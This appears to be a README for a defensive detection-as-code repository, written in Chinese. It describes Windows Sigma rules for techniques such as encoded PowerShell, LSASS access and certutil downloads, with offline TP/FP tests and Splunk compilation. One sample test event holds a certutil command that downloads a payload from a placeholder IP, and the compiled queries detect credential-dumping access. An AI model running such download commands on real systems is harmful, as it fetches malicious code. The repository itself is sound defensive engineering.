DMYourz/sigma-detection-as-code

# Sigma 检测即代码 [](https://www.python.org/) [](tests/) [](docs/DETECTIONS.md) [](generated/splunk/) [](generated/attack-navigator-layer.json) [](LICENSE) ## 📖 概述 本仓库像工程师对待代码一样对待 Sigma 规则——每一条规则都经过了**验证**、**针对带标签的事件进行了测试**，并且**自动编译为 SIEM 查询**。推送更改后，CI 会在几秒钟内告诉你，你的规则是否仍然能捕获它本应捕获的攻击，以及它是否开始对一些良性活动产生误报。 最后这部分是大多数 Sigma 仓库都会忽略的。任何人都可以写一个装满规则的 YAML 文件。检测工程中困难且有价值的部分是*证明*一个规则确实做到了它所宣称的——并且不会用误报淹没 SOC。因此，我构建了一个离线 Sigma 评估器，并将每一条规则与在 CI 中运行的**真阳性/假阳性 (TP/FP) 测试用例**关联起来。不需要 SIEM。 我专注于 **Windows + Sysmon**（进程创建、注册表、进程访问），因为这是大多数端点检测的所在之处，并将所有内容编译为 **Splunk SPL**，因为这是我最熟悉的技术栈。 **包含的内容：** - **8 条 Sigma 规则**，涵盖执行、持久化、防御规避、凭证访问和 C2——映射到 **9 种 MITRE ATT&CK 技术** - 一个**离线检测引擎**，用于针对样本事件评估 Sigma 逻辑（测试套件） - 为每条规则提供的 **TP/FP 测试用例**，作为回归套件运行 - **一键编译**生成 Splunk SPL 以及 Splunk `savedsearches.conf` - 一个自动生成的 **MITRE ATT&CK Navigator 层**，用于展示覆盖范围 - **CI** 在每次推送时进行验证、测试和编译（Python 3.10-3.12） ## 🏗️ pipeline ``` rules/windows/*.yml ─┐ │ ┌─────────▼──────────┐ sigmatools validate │ 1. VALIDATE │ required fields, UUID, ATT&CK tag, │ │ pySigma parses cleanly └─────────┬──────────┘ │ ┌─────────▼──────────┐ pytest (matcher.py engine) │ 2. TEST │ every rule must fire on its TRUE │ (TP / FP) │ positives and stay silent on its │ │ FALSE positives ──► CI fails if not └─────────┬──────────┘ │ ┌─────────▼──────────┐ sigmatools convert (pySigma) │ 3. COMPILE │ ──► generated/splunk/*.spl │ │ ──► savedsearches.conf └─────────┬──────────┘ │ ┌─────────▼──────────┐ sigmatools coverage │ 4. MAP COVERAGE │ ──► ATT&CK Navigator layer JSON └────────────────────┘ ``` 整个过程在每次推送时通过 [GitHub Actions](.github/workflows/ci.yml) 运行——因此，如果规则更改破坏了检测覆盖率，会在合并之前使构建变为失败状态。 ## 🛡️ 检测覆盖率 | 规则 | ATT&CK | 战术 | 级别 | |------|--------|--------|-------| | 编码的 PowerShell 命令行 | T1059.001, T1027 | 执行 / 防御规避 | high | | 通过 URLCache 下载的 Certutil | T1105 | 命令与控制 | high | | 执行 JavaScript/VBScript 的 Rundll32 | T1218.011 | 防御规避 | high | | 执行远程载荷的 Mshta | T1218.005 | 防御规避 | high | | WMIC 进程调用创建 | T1047 | 执行 | high | | 通过 schtasks 创建计划任务 | T1053.005 | 持久化 | medium | | 注册表 Run 键持久化 | T1547.001 | 持久化 | medium | | 可疑的 LSASS 进程访问 | T1003.001 | 凭证访问 | high | 完整的规则详情及各规则编译后的 SPL 位于 [docs/DETECTIONS.md](docs/DETECTIONS.md)。将 [`generated/attack-navigator-layer.json`](generated/attack-navigator-layer.json) 拖入 [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) 即可查看热力图。 ## 🚀 快速开始 ``` pip install -e . # 验证每条 rule（结构 + pySigma 解析） python -m sigmatools validate # 运行 detection 测试套件（TP/FP 回归） pytest -q # 将所有 rule 编译为 Splunk SPL -> generated/splunk/ python -m sigmatools convert # 生成 MITRE ATT&CK Navigator 层 python -m sigmatools coverage ``` ### 示例：编译产物 编码的 PowerShell 规则会被编译为： ``` Image IN ("*\\powershell.exe", "*\\pwsh.exe") OR OriginalFileName="PowerShell.EXE" CommandLine IN ("* -enc *", "* -EncodedCommand *", "* -ec *") ``` 而 LSASS 凭证访问规则，包含其已知的良性排除项，会被编译为： ``` TargetImage="*\\lsass.exe" GrantedAccess IN ("0x1010", "0x1410", "0x1438", "0x143a", "0x1fffff") NOT (SourceImage IN ("*\\wininit.exe", "*\\MsMpEng.exe", "*\\svchost.exe")) ``` ## 🧪 为什么测试很重要（有趣的部分） Sigma 规则只是基于字段的一个条件。真正重要的问题是：**它是否真的能匹配恶意行为，并且是否会放过良性行为？** 每条规则在 [`tests/cases/`](tests/cases/) 中都有一个对应的文件，其中包含 `positive` 事件（攻击——必须触发）和 `negative` 事件（看起来相似的良性活动——必须不触发）。例如，certutil 规则的测试用例： ``` positive: - Image: 'C:\Windows\System32\certutil.exe' CommandLine: 'certutil.exe -urlcache -split -f http://203.0.113.5/payload.exe p.exe' negative: - Image: 'C:\Windows\System32\certutil.exe' CommandLine: 'certutil.exe -hashfile C:\Users\dan\file.txt SHA256' # benign ``` [`sigmatools/matcher.py`](sigmatools/matcher.py) 是一个从头编写的 Sigma 评估器（支持字段修饰符、通配符、`and/or/not`、`N of them` 等——有关支持的子集，请参阅其文档字符串），因此这些测试是**离线且确定性地**运行的。这与真实检测工程程序中的真/假阳性测试是相同的准则，而且免去了 SIEM 的费用。 ## 📂 仓库结构 ``` sigma-detection-as-code/ ├── rules/windows/ # the Sigma rules (YAML) ├── tests/ │ ├── cases/ # TP/FP sample events, one file per rule │ ├── test_matcher.py # unit tests for the detection engine │ ├── test_rules_valid.py # structure + pySigma convertibility │ ├── test_detections.py # TP/FP regression for every rule │ └── test_convert.py # SPL compilation smoke tests ├── sigmatools/ │ ├── matcher.py # offline Sigma evaluator (the test engine) │ ├── loader.py # load rules + their test cases │ ├── validate.py # rule validation │ ├── convert.py # pySigma -> Splunk SPL │ ├── coverage.py # rules -> ATT&CK Navigator layer │ └── cli.py # validate / convert / coverage ├── generated/ # committed build output (SPL + ATT&CK layer) │ ├── splunk/*.spl + savedsearches.conf │ └── attack-navigator-layer.json ├── docs/DETECTIONS.md # full catalog + compiled SPL ├── .github/workflows/ci.yml # validate + test + compile on every push └── pyproject.toml · Makefile · LICENSE · .gitignore ``` ## ➕ 添加规则 1. 在 `rules/windows/` 中放入一个 Sigma YAML 文件（需包含 `id`、一个 `attack.tXXXX` 标签和一个 `level`）。 2. 添加一个 `tests/cases/<同文件名>.yml` 文件，其中至少包含一个 `positive` 和一个 `negative` 事件。 3. 运行 `python -m sigmatools validate && pytest -q`——显示通过（绿色）即表示格式正确且行为正常。 4. 运行 `python -m sigmatools convert` 以重新生成 SPL。 CI 会在每次推送时强制执行步骤 1-3。 ## ⚠️ 注意 这些规则是为学习和实验室环境中针对 Sysmon 风格的遥测数据而编写的。在部署之前，请根据你自己的环境调整阈值、排除项和字段名称——每个网络的“正常”情况都不一样，未经调整的规则只会成为一台误报生成器。 ## 📄 许可证 MIT——详见 [LICENSE](LICENSE)。作为我的[网络安全作品集](https://github.com/DMYourz/CyberSecurity-Portfolio)的一部分构建。

标签：AMSI绕过, Detection-as-Code, Sigma规则, 威胁检测, 安全规则引擎, 安全运营, 扫描框架, 目标导入, 逆向工具